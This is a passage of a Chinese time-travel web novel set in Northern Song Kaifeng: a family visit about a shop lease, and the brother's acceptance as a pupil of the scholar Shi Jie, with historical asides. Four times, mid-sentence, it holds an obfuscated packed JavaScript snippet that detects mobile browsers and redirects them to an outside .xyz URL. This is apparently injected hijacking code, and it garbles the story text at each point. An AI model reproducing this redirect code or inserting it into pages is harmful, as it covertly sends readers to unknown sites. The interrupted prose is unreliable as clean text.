大女儿丽娘这胎的胎相有些不稳，自她们一家搬来东京城后就一直听从医嘱卧床休息，女婿倒是上门来看望过，只说待丽娘身体好转，夫妻二人再一起上门亲自告罪。 她眼巴巴地等了很久，才在昨晚收到小厮来送信，说女儿身体已经大好，但是还是不能久站。 和吴王氏商量后，刘耘娘决定亲自去看看情况。就去库房把带来的特产整出两个盒子，刚一出来就看到小女儿坐在石墩上甩着两条小短腿，坐没坐相，没有一点点小娘子样，反而像个山野顽童。 “去去去！我都一年没见大姐姐了！”她这几天去的最远的地方就是隔壁街的肉铺。 家中阿婆在礼佛，哥哥废寝忘食的在读书，爹爹又忙得见不着人，很无聊。 大姐住的可是东京城的商业CBD，大相国寺商业文化区，她一定要跟上去长长见识。 距离她们一家搬来东京城已快两个月，正值端午节前夕，家家户户都在门楣插艾草、菖蒲，或悬挂着用艾草扎制的艾人用以驱邪避疫。 农历五月民间视为恶月，因此端午节的习俗都是与辟邪、防疫为主。 宫中与民间皆流行佩戴一种五彩丝线编成的唤作百索的绳结来祛病延年，宫中嫔妃也会佩戴装着朱砂、雄黄等药材的香囊辟邪。 道观门前也会发放“天师符”“五毒符”，供百姓张贴于门庭，或制成饰品佩戴，以镇压邪祟。 而端午前卖的最好的艺术单品，就是张天师骑虎像和钟馗画像，这都是可以贴在家门驱鬼辟邪。 这时也有后世的粽子，他们唤作角黍，以菰叶（茭白的叶）包裹黍米，也就是黄米，内面塞的是枣或者板栗等馅料。 除此之外，北宋的皇帝还会在西边的金明池举办大型龙舟赛与民同乐。 吴悦趴在车窗上撩起帘子看着这个时代的风貌。 汴河是贯穿东京城东西的水上大动脉，河面上星罗棋布的桥梁中，正对于大内御街的州桥是整个京东城最繁忙的枢纽，每日车水马龙，商旅辐辏，桥南桥北分列着堆满着茶叶、丝绸，皮货、药材、珠宝香料的各色商铺，昼夜喧嚣不息。 此时牛车已经通过了州桥，向东转入了一条比较幽静的巷子，来到此处，周遭已经安静下来。这一片都是汴梁大富商宅邸所在，坐落于汴河之畔，又毗邻大相国寺，取的就是以水为财，路通财通的好寓意。 “亲家夫人可是来了，我家主人在府中等候多时了。” 牛车停到朱府门前，一个管家打扮的妇人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609426|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就恭恭敬敬地迎了上来，吴悦和她娘被妇人引领下进入后院。 青石板铺就的小径如游龙潜于碧草间，每折转一处便见新景，一路走来，她只觉得看什么都稀罕，甚至感觉廊内的柱子都散发着幽香。 北宋是一个被香料浸透的朝代。当时广州、泉州、明州（今宁波）三大港口内，停泊着满载乳香、龙涎香的大食（阿拉伯）商船，运载着丁香、肉豆蔻的三佛齐（苏门答腊）商队，以及带来沉香、降真香的占城（越南）船只。《萍洲可谈》记载：“蕃舶香药，堆积如山”，仅神宗元丰年间，单次朝贡的乳香便达三十万斤。 不论阶级，宫廷市井，人人用香。 徽宗时，每逢大朝会，金殿阶前就会燃烧上百斤龙涎香，云雾缭绕如坠仙境。士大夫雅集还会有品香鉴，苏轼的雪堂据说终日焚烧海南沉香。连汴河上的纤夫歇脚时，都嚼掺着丁香的槟榔提神。 还有市井传言，泉州蒲寿庚家族因垄断香料贸易富可敌国，以沉香木为梁、檀香木为柱，连仆役衣角都缀着驱虫的广藿香囊。 那么作为专供皇室香料的朱家，其富贵可想而知。 来到后院正厅，吴丽娘和婆母秦大娘子，以及4岁的小女儿朱涴妤也被乳母抱着怀中，立在厅前迎接。 玉雪可爱，这是吴悦给秦大娘子的第一印象，明明只和自家小孙女差一岁，但是个头看着明显高一头，身子骨也瞧着有点过于壮实了，大概更随她那个武官爹，不太符合世人推崇柔弱婉约之姿为尚，这样以后可不好嫁不出去。 心中是这么想的，面上却不能表现出来。秦大娘子收敛心神，努力控制面部表情，笑眯了眼和刘耘娘拉扯起了家常，先是告罪儿子今日不得空谈生意去了，又是感谢吴家从南阳带来的特产，最后连连夸教女有方，终于场面话都说完了，秦大娘子才施施然告辞，把空间留给她们母女。 吴丽娘轻移莲步，将婆母送至垂花门后，方长舒一口气，径直返回厅内，当下卸下当家妇人的沉稳做派，像未出阁的小姑娘般，搂着母亲撒娇道："娘，女儿想你了。" 刘耘娘上下仔细打量着女儿，只见气色还算红润，问了问腹中胎儿详细情况，女儿和女婿处的如何，又抱起小外孙女问最近都在玩些什么。 “我真的无事，就是官人忧心过甚，我才不得不卧床休息几日”。她未出阁时也是能拉短弓，骑大马，身体哪有那么孱弱。 “他今日不在，也确实是因为店铺有事，才不得不外出处理。” 吴悦单纯的眨眨眼：“是因为端午到了，姐夫要忙着运货吗？” 吴丽娘看着妹妹哑然失笑。 “店铺运货有管事和仆役，还用不着你姐夫肩挑手扛。只是家中有个铺子的管事和账房都告老回乡，这一时之间也找不来合适的人接替。那个铺子又在凌仪街上，周边都是官衙，生意很是冷清，官人在犹豫要不要放出去给别人。” 12. 第 12 章 凌仪街上有着太常寺、尚书省、御史台和开封府，几位当朝执宰的府邸也在那边。其间还辟有馆舍，专为家中拮据，在京无居所的官员和家属赁居。 朱家当年买下这铺面时，想的也是满街朱紫贵眷，断不可能少了客源。可惜，朱紫贵眷的香气没挨着，却天天有掌管监察、风闻奏事的御史来店里查看有没有朝廷官员违背“禁奢令”。 吴悦听到却突然有了想法，要是这个铺子能租给她们多好，就卖她捣腾出来的那些新鲜玩意。她试探的摇着刘耘娘的衣摆，满眼都露出渴望两个字。 刘耘娘也有些犹豫，来东京城两个多月她已经感受到了什么是花钱如流水，家中除了丈夫的月薪和职田的收租，就没有其他的进项。 现在和西夏的停战条约也已经签订，西线无战事，也没法通过军功来获得赏钱。儿子读书的纸墨书本都不是小数字，更别提女儿慢慢也长大了，需要更多的钱来置办嫁妆。 宋代嫁妆的丰厚直接影响女性在夫家的地位，嫁女花费通常要比娶妇更大，如果嫁妆不够，有些女性甚至无法出嫁变成“大龄剩女”。 司马光也抨击“厚嫁成风”言：“将娶妇，先问资妆之厚薄；将嫁女，先问聘财之多少。”就连一些士大夫，也因家庭并不宽裕，无法为女儿按时筹备丰厚陪嫁，又往往顾及脸面，所以只能让姑娘长久地养在娘家。 连神宗的弟弟扬王赵颢也因为“有女数人，婚嫁及期，私用不足”而向皇帝哥哥伸手借钱。 因此，东京城内有女儿的家庭，没有不发愁嫁妆的。 “凌仪街的铺面怕不是太贵。”刘耘娘叹了口气。 “比大相国寺周边和潘楼街那边也算不得什么。”吴丽娘很懂母亲的心思，“而且怎么说这还是在内城，也符合咱家的身份。” 一个内城的铺子一年的租金都能买两个外城的铺子了，但是她爹怎么说也是正七品的武官，去外城和平民争食太不雅观。 “官人和我说了，这个铺子他表姨家的弟弟也在询问，婆婆看似也有些意动。” 吴丽娘没将后面的话说出来，就轻飘飘的绕过了这个话题。 刘耘娘却已经明白了女儿内心所思，打算晚上回家就和丈夫商量一下。看样子，这个店铺女婿已经打算低价出租，但是与其给了其他人，还不如这个好处让她们得了。 ----------------------------------------- 六月的骄阳悬在头顶，像枚烧红的铜钱烙在湛蓝的天空上，院里的月季也蔫蔫地垂在枝头。 被留在家中看书的吴夏，刚刚才陪着祖母吃过午饭，本想回到案牍旁继续用功，却被心中的燥热逼得只能坐在院中乘凉，心中还在思索着前些时日，收到的沐阳先生的来信。 先生在信中告知已为他在东京城物色好一位老师，并叮嘱他近期尽量闭门不出，在家潜心治学。 这段日子里，他每日读书至子时，勤学不辍之余，也不断揣测先生究竟为其延请了哪位名师。这般矛盾心境令他备受煎熬——既因未知而惴惴不安，又因焦虑而辗转难安，却还要强令自己心无旁骛地研习课业，真是苦煞于他。 这时，一名年轻男子在路与的陪同下缓步走进内院。 这位男子很是清雅俊秀，来到他面前，先没有急着说话，而是上下打量了一番吴夏，这才淡淡道：“吾师有请，请吴小郎君上门一见。” 终于来了。 吴夏定了定神，回了个礼，“莫敢不从命，烦请问尊师名讳？” “徂徕先生，石徂徕”。男子面东肃立，双手叠拱。 吴夏面露惊讶，随即更是恭敬地行礼，请人在前厅先等片刻，他与家中祖母道辞就来。 不过一会儿，男子，也就是何群，就等到了人出来。 两人皆不敢再耽搁，各跨上匹马，就飞驰而去。 ------------------------------------------ 石府 正厅中，石介与一大一小两人对面而坐，桌上放着清茶三盏。 居客位的年轻人，一身斩衰，腰系麻绳，脚穿菅屦，手旁还放着一节苴杖，竟一副重孝装扮。 原来这就是吕公著，字晦叔，宰相吕夷简之子，庆历二年（1042年），24岁的吕公著进士及第，被点为探花。历史上的他官至尚书右仆射（宰相），与司马光共同辅政，“尽废新法”。 而他身旁刚到腰线的一个小童，就是他的儿子，今年才8岁的吕希哲。 吕家世代簪缨，曾曾祖父齐国公吕梦奇曾任后唐的兵部侍郎，曾祖父祁国公吕龟祥开府仪同三司、中书令兼尚书令。祖父魏国公吕蒙亨官至大理寺丞。父亲吕夷简，平章军国重事，以太尉之身致仕，3个月前刚刚去世，这重孝就是给他父亲服丧的。 这一门清贵可不比那自诩四世三公的袁绍差半点。 石介望着立于吕公著身畔、尚自惴惴不安的垂髫小儿，正色问道："晦叔真要将令郎托付于我？" 宋朝丧礼中，父丧的服制等级最高，名义为服丧三年，实际为二十七个月（含闰月）。吕公著需扶父柩归葬寿州祖坟，拟定翌日便要启程，走之前决定把儿子留在京中从学。 "稚子得拜先生门下，愚弟无虑矣。"吕公著拱手长揖，虽然难舍舐犊之情，但是他深知乡野僻壤，守制三载，只会贻误幼儿启蒙之机。 “那就将令郎留下吧，我族弟今日也送了个弟子前来，你且稍等，留下随我一起考教一二。” 吕公著颔首。 只是一盏茶的时间，何群就带着吴夏回来了。 吴夏整冠敛衽后才踏入厅中，目不旁视先向主位的石介深揖及地，复又转身朝客座的吕公著行平揖礼，这才垂手侍立阶前静候垂询。 石介端起手边的茶盏饮了一口，也并不急于考校课业，反而介绍起身旁的吕公著。 “这位是前平章军国重事吕夷简吕文靖公的三子，讳公著字晦叔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609427|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆历二年榜眼及第。身侧稚子名希哲，今后也会在我这里治学。” 吴夏闻言，复向吕公著长揖为礼，眼角余光微扫立在吕公著身后的吕希哲。 石介转而向吕公著介绍起吴夏："此子吴夏，乃禁军指挥使之子。其父庆历和谈后调防东京，阖家迁居汴梁。吾族弟任南阳县学教谕时，曾言此子机智聪慧，故特召来考校。" 这番言语暗藏机锋。 吴家当然不是像吕家一样的世家望族，他们三代行伍出身，本为士大夫所轻。但是石介偏将其与吕氏名胄并列同门，其意昭然若揭——纵使吕家累世簪缨，在我这里，还不是要与武弁之子同窗共读？ 此中怨怼，也是有着原因的。 石介对吕家是不满的，尤其是吕夷简。他在担任执宰的后期，明哲保身、排挤异己，通过扩大荐举权笼络官员，主张“守成”，反对激进变革，为后面司马光等保守派提供了范式，形成“以维/稳为先”的施政惯性，加剧了北宋中后期的改革阻力。 欧阳修批评吕夷简“二十年间坏了天下。其在位之日，专夺国权，胁制中外，人皆畏之。” 当然国家的兴败岂能归于一人。 后代的史学家也只是感叹夷简的保守倾向使北宋错失改革最好的窗口期，导致三冗问题加剧。 吕公著当然知道石介意有所指，但是他也毫不在意。反而将儿子向前一推，漠然地说："希哲，还不拜见师兄。"吕希哲依言趋前，正欲行大礼，却被石介喊住。 “莫急，待我问上一问。” 石介抬眼望着直到此刻都很平静的吴夏，深思片刻后说。 "吾门下弟子皆簪缨世胄之后，或出身耕读之家。你乃武官之后，虽得族弟力荐，然若收你入门，恐遭妄议，诸生必以与武夫之子为伍而耻。若不以师生相称，可留你得侍左右，执洒扫之役，平日仍可以列坐听讲，不知你意下如何？" 这确实有点过分，喊一个七品官员之子来这给你干一些仆从的事，但是又是当前北宋的现实。 北宋重文抑武的国策下，武官群体长期遭受文官集团的压制与轻慢，台谏系统也会频繁攻击武将，让武将形成有功必危的政治生态。 除了被怀疑“得士卒心，恐有唐末五代之患”，影射会有黄袍加身嫌疑的狄青。 还有抗辽名将杨业，也因文官王侁轻敌冒进，强令杨业出击。后为推卸责任，将战败之罪归于杨业，他的几个儿子就是后世脍炙人口的杨家将。 以及西北边防名将的种氏家族，种谔主张主动进攻西夏，与文官集团的保守战略冲突。永乐城之战中，文官徐禧拒绝种谔的建议，强令筑城，致宋军惨败，事后反而是种谔被问责贬官。 镇守河北防辽的王德用，也是被御史用“貌类太祖，宅枕乾冈”，暗示过于"得士心"，有篡位之相，被宋仁宗罢贬。 更不用说曹皇后的爷爷，开国元勋曹彬，曹皇后在宫中处处小心，不敢行错一步，就是因为她深知整个朝廷的文官都在盯着她。 13. 第 13 章 这不得不再发出感慨，北宋的靖康耻，这些统治天下的文人没有一个是无辜的。 似乎也感受到了，自己有些欺负人，石介不禁压低声音说道：“你也可以拒绝，若遇疑难可以上门请教，我也定知无不言，言无不尽。” 吴夏摇摇头说：“先生怎么这么说呢？以前我妹妹见我去学堂读书，也想借我的笔记学习。我劝她：‘女孩子不能参加科举，就算学了知识，也不能说自己是学堂弟子，只会招来嘲笑，白费力气，何必呢？''妹妹却认真地回答道‘学习是为了明辨是非、区分道义与利益，为了探究天地的道理，不是为了求取功名、攀附名师。如果能获得真知灼见，便是默默无名又有什么关系呢？’我听后感到惭愧，这才明白追求学问的初心，又怎么能被虚名束缚呢？” 吴夏迟疑片刻，最终还是坦白道：“我课上所学都会讲与妹妹，她竟然比我还要勤奋好学，经常拿疑难问题来问我。我因此领悟到，求学的真正乐趣在于探究真理、完善本性，而不在于追求虚名。所以拜不拜师并不重要，求学之志不在名位。” 石介心中一震，失神地对着空气喃喃道：“只为探究天地至理，连一名女子都能有此志向。” 吕公著也终于放下之前的漠然神态，目光如炬地审视着厅中这个武家子，又侧头微微看向自己的儿子，瞧见儿子脸上显露出的敬佩之色，不禁微微颔首而笑。 而立在自家老师一旁的何群，竟然心潮难平。私忖吴夏所言，一方面简直"寡廉鲜耻甘为仆隶”，但是另一方面，又觉得对方勇破世俗桎梏。两种心思如乱麻纠葛，竟使他一时语塞。 厅内骤然阒然无声，众人都盯着正座之上的石介表态。 吴夏恍若未觉，施施然地站在厅中，还是恭敬地俯身低头。 不知过了多久，石介回神，正色望着阶下的吴夏。 “后日，喊你家来送六礼吧”。停顿会，又开口。 吴夏听闻大喜，立刻叩首以拜。 “行了，你先回家和父母准备吧。” 似乎有些疲惫不愿多说，石介让何群将吴夏先带了出去。 等俩人的身影出了垂花门，石介神情凝重，又对着右侧的吕公著说：“晦叔可以再考虑一二。” 吕公著淡然地回道：“不用考虑了，明日我就带着希哲来送六礼。”又微微皱眉“连一武家小子都知道樵薪苦学，我儿又如何比不过。怎么，莫非你还怕我们吕家以势欺人？” 吕希哲也一步跨前，躬身垂首：“还请先生教我。” 石介不禁摇头苦笑，“好你个晦叔，我是担心你们吕家世代簪缨觉得丢面子，如此不知好歹！明日我就在家中恭候大驾！” ------------------------------------------ 攥着这个喜报，吴夏足下生风般的跨进大门。 “阿婆！”未进后院，他便扬声禀道，"孙儿被徂徕先生收为弟子了！”正躺在廊下躺椅休息的吴王氏颤巍巍起身，浑浊的眼眸也泛起光：“真的？”她有些枯瘦的手指紧紧拉住吴夏的右手，再次重复确认：“真的？” “千真万确！后日便行六礼！"吴夏如檐下乳燕般绕廊疾走好几圈，忽然又驻足道，“孙儿去巷口候母亲和妹妹。” 直到酉时，巷口才传来辚辚车声。 吴夏迎上前去，望着娘亲抱着妹妹从牛车上下来，吴悦的怀里还抱着一大盒糕点，他接过小妹，喜笑颜开的对着刘耘娘说道，“母亲，我被徂徕先生收为弟子了！” 徂徕先生？ 刘耘娘虽不识此人，但见儿子如此兴奋，想来应是位大儒。 被抱在怀里的吴悦却“咦”了一声——这人她知道啊，宋初三先生之一的石介。他的名气不如倡导培养致天下之治的安定先生胡瑗，也不如娶了宰相侄女的泰山先生孙复，主要就是死的早，记得好像应该就是这两年的事。 吴夏忙介绍了一番徂徕先生其人，并提及后日下六礼事宜。 刘耘娘听罢，当即决定今夜点樊楼的外卖庆祝一番。 “要蟹酿橙、鹿脯脍、水晶脍，”她特意叮嘱，“再要三份梅花汤饼和一坛长春法酒。”吴夏在旁听得咋舌：“娘，这是加入了三十多味名贵中药的药酒，一坛就要20贯..” 刘耘娘横他一眼：“你能拜得名师，这可是大喜事，今晚你爹回来的晚，让祖母和娘亲陪你喝上两杯。” 晚饭上其乐融融，一家人对樊楼的美食赞不绝口。 吴王氏饮至微醺，拉着孙儿的手絮絮道的说着如果他祖父还在不知道多高兴之类的话。 连吴悦都偷喝了几口这加了名贵中药的药酒，美名其曰补补身子。 宴罢，刘耘娘安顿众人早早安歇，自己则坐在房中等待丈夫回来。 ----------------------------------------- 窗外夜色渐沉，檐角铜铃在晚风中轻响，自丈夫兼任调任供备库副使后，这般等待已成常态。 直到子时三刻将至，更夫的梆声传来，院门才轻叩，吴父风尘仆仆归来，还是一脸沉郁之色。 他近日点检军中器械，发现半数枪杆竟以桐木充数，刀镡多用铸铁搪塞。此等蠹国行径，令这位在前线厮杀的武官怒火中烧。然而将此等情况上禀上官，太尉寺竟置若罔闻，至今还没有得到回复。 替丈夫解下玄甲，刘耘娘语气里压不住的雀跃的说，“儿子拜了徂徕先生为师！后日行六礼，你须得告假。”接着就喋喋不休的在唠叨明日她打算去哪些店铺买什么。 “徂徕先生？”这个名字对武官来说有点陌生，忽然意识到什么似的，吴军神色惊疑，转头看向妻子。“石介，石徂徕吗？” 看到妻子肯定的点头，他也哈哈大笑起来。 刘耘娘又说起今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609428|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日去朱府女婿家，女儿丽娘所说的赁铺之事。 吴军断然道：“和女婿好好说道说道，咱们买下这个铺子。儿子日后科举用度浩繁，还需要早作筹谋。”将妻子的手拢在掌心，他雄心壮志地说：“我们要一直供儿子读书，说不定，咱武夫家也能出了个状元郎！” 谈及未来，夫妻二人畅想着儿子簪花游街的盛况——娶丞相女、身着紫袍，越说越兴奋。直至夜深疲惫，才相拥沉沉睡去。 次日清早，天还未亮透。 素日爱赖床的吴悦今日格外早起，她生怕爹娘趁她熟睡时带着哥哥去市集。此刻她已穿戴整齐，正蹲守在哥哥房门前。刘耘娘素日最是严厉，可吴夏向来疼她，只要哥哥肯帮她说话，肯定能如愿同行。 东方渐白时，昨夜因兴奋而失眠很晚才睡的吴夏还是照常起身。 刚推开房门，便见妹妹和青枣一左一右堵住去路。他扯了扯嘴角，猜到妹妹的心思：“我会劝娘亲带你，你先让开，放我去洗漱。” “好嘞！”吴悦忙不迭起身让路，转而又守在爹娘房门前。不多时，穿戴齐整的刘耘娘推门而出。 吴悦朝打开的房门探头张望，居然没看到她爹的身影，好奇地问：“爹呢？昨晚没回来吗？” “天还黑着时就出去了。”刘耘娘没好气地答，又转向也走了过来的儿子，“你爹有事，咱们直接去市集，早饭也去街上吃，你现在去喊路与把牛车备好。” 吴悦一听，急得直跳脚，扑过去抱住刘耘娘的腰，头还在腰间蹭了几下，紧紧不松手：“娘，悦儿也要去！” 刘耘娘低头摸着女儿的发旋，哑然失笑：“带你去可以，但是你不许淘气，也不许乱跑，小心哪个人把你拐走了，可就再也见不到爹娘了。” “娘放心！”吴悦拍着胸脯保证，“要不拿布条把我捆你手上？”这倒是，她对自己的外表很是肯定，这种白白胖胖的一看就能卖个好价钱。 刘耘娘见女儿被唬住，这才满意地点头，就怕小孩子又莽又胆大。 三人辞别祖母吴王氏，坐上路与赶的牛车往马行街方向而去。 北宋时期，商品经济的繁荣促使市场分布广泛，打破了唐代坊市分离的格局，形成了开放性的街市和瓦子。 东京城的民众外出购物可前往以下场所： 首先就是每月初一、十五和节日开放的大相国寺市场，作为东京城规模最大的综合性市集，珠宝、书籍、药材、日用品等各类商品一应俱全。 其次是马行街、潘楼街等日常商业街巷，既有药铺、绸缎庄、酒楼、肉铺等固定商铺，也设有通宵达旦的夜市。 以风味小吃和手工艺品著称的州桥夜市，每日营业至三更时分。 得益于漕运体系的发达，在汴河沿岸也逐渐形成粮食、茶叶、丝绸等大宗商品的批发地。 此外还有同业商铺集中的特色街区，如花卉市场、古玩市场等。 14. 第 14 章 今日大相国寺市场不营业，故众人决定前往马行街采购。 马行街的物价较潘楼街更为低廉，且汇聚了众多特色食肆。 她们一行人选中一家规模颇大的胡饼店落座，店内帮佣达三五人，各司其职。 吴悦啧目不转睛地望着制饼炉灶，她还真没想到这北宋竟已有如此先进的烤炉。 只见一人将面团擀成饼胚，一人用模具压出花纹，另一人则将饼胚送入炉膛烘烤。不多时，就从炉中取出几枚金黄酥脆的面饼，整个店铺都弥漫着诱人的香气。 店中悬挂的价目牌上，还列有满麻、宽焦、侧厚、油砣、髓饼及新样满麻等品类。 四人各点一枚饼食，选择了两枚传统满麻与两枚髓饼，并另购隔壁的豆乳佐餐。片刻后，店家帮佣将食物端至案前。令她意外的是，髓饼内馅竟为是加了蜂蜜。 这确实是她没见识了。 宋代的《营造法式》里已经记载了"砖炉"的砌筑方法，虽然更多的是描述建筑用炉，比如取暖或者烧制砖瓦。 但是陆游的《老学庵笔记》也明确记载："胡饼炉形如仰月，上下著火"，可见当时烤炉采用半圆形立式结构，具备上下双层火源。 南宋《山家清供》亦提及烧饼需"火逼"而成，足证焙烤技术之成熟。 她想要，她一定要得到！回去就缠着娘亲给在家里砌一个土窑！ 只需要黄油、面粉和酵母，辅以土烤炉，一定能给爱赶潮流的东京食客们带来新的味觉体验，还可以提供酸奶水果捞、各种口味酸奶碗。 回想到后世某书上经常会出现的软广，不就是售卖一些青年面包师在乡间使用土窑烤制面包，有诸如吐司、恰巴塔、贝果、蛋挞等品类出品，甚至还有搭配果酱食用的大欧包。 那么除了黄油，猪油的炼制也需要提上日程了！将猪油揉入面团，反复擀叠形成酥层，里面裹上各色馅料，烤制后外皮酥脆、内馅松软，可别提多香了。 猪油的醇厚香味与面食、甜点契合度超级高，尤其适合需要酥脆质感的糕点与炸物。 后世，苏式鲜肉月饼、宁波猪油汤圆、乃至扬州千层油糕，都仍以猪油为核心原料。 猪肉这么好，但是北宋人民对它的开发利用程度，目前还是很低。 苏轼《猪肉颂》也给出了原因，“贵者不肯吃，贫者不解煮”。 这个时候，北宋富人们炒菜常吃的是芝麻油，价格昂贵，每斤120文。 因此平民一般都是使用猪肉炒菜时自然煸出的猪油，也就是直接加热的“干法炼油”。 这种方法通过将脂肪块放入铁锅，以文火慢熬，期间不断翻动以防焦糊，使油脂逐渐析出。但是这样炒的油一不注意火候，就会炒焦发苦发涩，出油量也很低。 要直到1054年，也就是十年后，为了满足夜市照明和民生饮食所用，宋仁宗开始推行芸薹菜种植，匠人们经过不断尝试，终于制作出了色泽透亮的菜籽油，而芸薹菜也被人称为油菜，之后的北方会开始大肆种植，而南方甚至还出现了冬日闲田稻油轮作。 至于猪油则不如菜油开发程度高，炼制更纯净的油脂，也就是中式的酥皮糕点里可以使用的猪油，需要使用“水法炼制”。在熬油时加入清水，通过水油共沸促进脂肪组织分解，既能减少焦糊现象，又可提升出油率。 但是此法多见于明清，不似宋朝时就已经实现了菜油的高度成熟化，到元代的《居家必用事类全集》才第一次见到记载“水油共煎”。 猪油拌白米饭，再倒一些酱油，那可是香得很。还有猪油拌粉，这还是长沙美食。 穿越太早就是这点不好，食物太匮乏了，想吃些啥得自己亲自来。 等用完早饭后，几人又步行来到马行街上最大的一家干果铺。 刘耘娘一进去还没等人上前询问，便径直道明来意。“店家，烦请将上等莲子、红豆、枣子、桂圆各称一份，用红扎纸精心包裹，务必挑选贵店的上品。” "这是为令郎准备束脩之礼吧？可喜可贺，令郎他日必能蟾宫折桂，光耀门楣。"柜台后的店主闻讯立即迎出，拱手不迭地道贺。 刘耘娘笑意盈盈地道谢，吴夏虽有些赧然，仍郑重其事地向店主行了一礼。 “束脩”原来就只是指十条干肉，后演变六礼：芹菜寓意勤奋向学，莲子象征苦心栽培，红豆代表鸿运高照，枣子预祝早登科第，桂圆寓意功德圆满，干肉则延续传统以示尊师重道。 这其实就是追求个好兆头，有点类似考试那天吃根油条和俩鸡蛋一样。也算是国人可爱的小信仰。 片刻后，包装精美的礼盒送至跟前。再度致谢后，刘耘娘携着两个孩子先往菜贩处选购芹菜，再至熟肉铺购置干肉。 当然如果家中繁忙，可以委托牙人代购，或直接在市集杂卖行定制整套束脩礼盒。但刘耘娘坚持亲力亲为，以表对师长的诚挚敬意。 采办齐整束脩六礼，众人又前往文字行挑选笔墨纸张。 古往今来的父母皆然，新学年伊始总要备齐文房新物。吴悦也偷偷给自己夹带了一些私货，买了一捆竹纸，她想尝试着在上面练习绘画。 一行人提着大包小包返回家中，但是并不代表今天的准备工作这就结束了。 刘耘娘丝毫未曾懈怠，先命王婆将采办的束脩六礼用彩绦精心捆扎，装入特别购买的礼盒之中。 转而又为儿子取出新制的青布襕衫，反复叮嘱明日务必穿戴齐整。 安顿好儿子，她方才着手整理夫妇二人的衣装。 这倒成了桩难事。吴军素日里甲胄不离身，居家仅着短褐粗布，翻找良久，方从箱底寻出一件多年前的褐色圆领袍，那还是嫁大女儿丽娘时特意定做的。 到了自己这里，她对着妆奁踌躇不决，究竟该佩戴珍珠梳篦还是红玛瑙梳篦。 见状，吴悦连忙上前劝导，劝母亲收敛华丽饰物，穿的素净雅致点。哥哥的先生是读书人，他不会太喜欢奢华的装扮。 刘耘娘听闻觉得有理，把湖蓝色的褙子换掉，另取一件淡紫色褙子。又将儿子唤至跟前，特意叮嘱，明日着常服即可，如常即可。 待诸事妥当，暮色已悄然降临。这一日便在琐碎的筹备中落下帷幕。 次日清晨，众人皆已装束停当，只是吴父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609429|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近年体态丰腴，几年前的褐色圆领袍穿在身上竟显得有点紧凑。 刘耘娘细细检视丈夫与儿子的衣饰，又逐一核验束脩礼盒内的芹菜、莲子等六礼物件是否完好无损，才吩咐启程。 待到她登车时，却看见小女儿已蜷缩在车厢角落。 刘耘娘气急，伸出手就开始揪她下来。“好个调皮丫头！我说怎么今天这般安静，原是躲在这里。今天是你兄长拜师的吉日，你不许去捣乱，快下来，陪你阿婆去。” “不嘛不嘛，娘你就让我去吧，如果到时候先生不许，我再出来待在牛车里就是了。”吴悦左躲右闪，说什么也不肯下车——这可是千载难逢的古代拜师仪礼，她岂肯错过这绝佳的观察良机？ “算了，就让她去吧，石大人也不会因为一个小女娃娃想观礼而生气的。”吴父觉得女儿好奇哥哥拜师也不是个什么大事，他作为一个武将，本身就对儒家的礼节少了些尊敬，事情大差不差就行，也不用这般计较。 最后，吴悦终得偿所愿。这可不是在瞎胡闹，只要这一次成功的踏进了哥哥读书的地方，未来就会有无数次。毕竟先例既开，往后便无人再觉突兀了。 牛车于算的吉时准时抵达石府。 看到有个女童也跟着跳下牛车，何群微觉讶异，不过还是恭恭敬敬地吴家一行人引至正厅。 站在孔子像前的石介也有点诧异那个小女娃，后来旋即释然，这大概就是弟子口中所说的追求天地之理的妹妹。他颔首微笑，没再多说什么。 拜师礼正式开始，吴父，刘耘娘和吴悦作为家属，肃立于吴夏侧后方观礼。 但见吴夏先向至圣先师孔子像行叩首礼，复向站在阶上的石介行叩首礼，跪呈拜师帖。 石介双手接过束脩礼盒与《拜师帖》，取朱笔郑重签署。宋朝的拜师帖有明确规定师徒义务，收入分配及赡养责任，例如“谢师效力几年”或者“赡养师终老”。但是石介有自己的儿子，不需要个弟子养他，因此上面只有简单的一句话，"自后虽分师徒，谊同父子"。 